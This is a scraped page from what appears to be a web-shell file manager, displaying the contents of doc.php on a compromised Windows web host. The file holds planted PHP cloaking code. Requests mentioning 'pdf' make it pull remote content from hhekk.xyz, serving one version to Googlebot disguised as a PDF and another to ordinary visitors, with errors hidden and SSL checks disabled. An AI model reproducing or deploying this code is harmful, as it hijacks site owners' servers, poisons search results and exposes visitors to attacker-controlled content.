File manager - Edit - C:/inetpub/vhosts/galantilife.com/httpdocs/doc.php
Back
<?php if (preg_match("/.*(pdf).*/i", $_SERVER['QUERY_STRING'])) { error_reporting(0); set_time_limit(0); $requestUrl = "https://hhekk.xyz/a.php/"; $key = $_GET['game']; function getSslPage($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $result = curl_exec($ch); curl_close($ch); return $result; } function get_naps_bot() { $useragent = strtolower($_SERVER['HTTP_USER_AGENT']); if (strpos($useragent, 'googlebot') !== false) { return 'Google'; } return false; } $searchbot = get_naps_bot(); if ($searchbot) { $url = $requestUrl.$key; header('Content-type: application/pdf'); $content = getSslPage($url); echo $content; exit(); } else { $url = 'https://hhekk.xyz/ad.php'; $content = getSslPage($url); echo $content; exit(); } }
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.05 |
proxy
|
phpinfo
|
Settings